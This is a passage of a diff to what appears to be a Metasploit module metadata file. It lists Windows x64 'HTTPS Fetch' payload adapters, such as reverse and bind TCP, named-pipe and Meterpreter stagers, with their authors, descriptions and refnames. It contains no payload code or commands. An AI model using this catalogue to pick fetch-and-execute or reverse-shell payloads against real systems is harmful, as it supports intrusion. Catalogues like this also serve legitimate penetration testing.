"2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/https/x64/custom/bind_named_pipe": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/custom/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/https/x64/custom/bind_tcp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/https/x64/custom/bind_tcp_rc4": { + "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/https/x64/custom/bind_tcp_uuid": { + "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/https/x64/custom/reverse_http": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/https/x64/custom/reverse_https": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/https/x64/custom/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" + }, + "payload_cmd/windows/https/x64/custom/reverse_tcp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/https/x64/custom/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/https/x64/custom/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/https/x64/custom/reverse_winhttp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" + }, + "payload_cmd/windows/https/x64/custom/reverse_winhttps": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" + }, + "payload_cmd/windows/https/x64/exec": { + "name": "HTTPS Fetch, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/https/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nExecute an arbitrary command (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/exec", + "staged": false + }, + "payload_cmd/windows/https/x64/loadlibrary": { + "name": "HTTPS Fetch, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/https/x64/loadlibrary", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "scriptjunkie", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nLoad an arbitrary x64 library path", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/loadlibrary", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false + }, + "payload_cmd/windows/https/x64/messagebox": { + "name": "HTTPS Fetch, Windows MessageBox x64", + "fullname": "payload/cmd/windows/https/x64/messagebox", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "pasta " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/messagebox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/https/x64/meterpreter/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/https/x64/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/https/x64/meterpreter/bind_tcp_rc4": { + "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/https/x64/meterpreter/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_http": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_https": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "check": false, + "post_auth": false, + 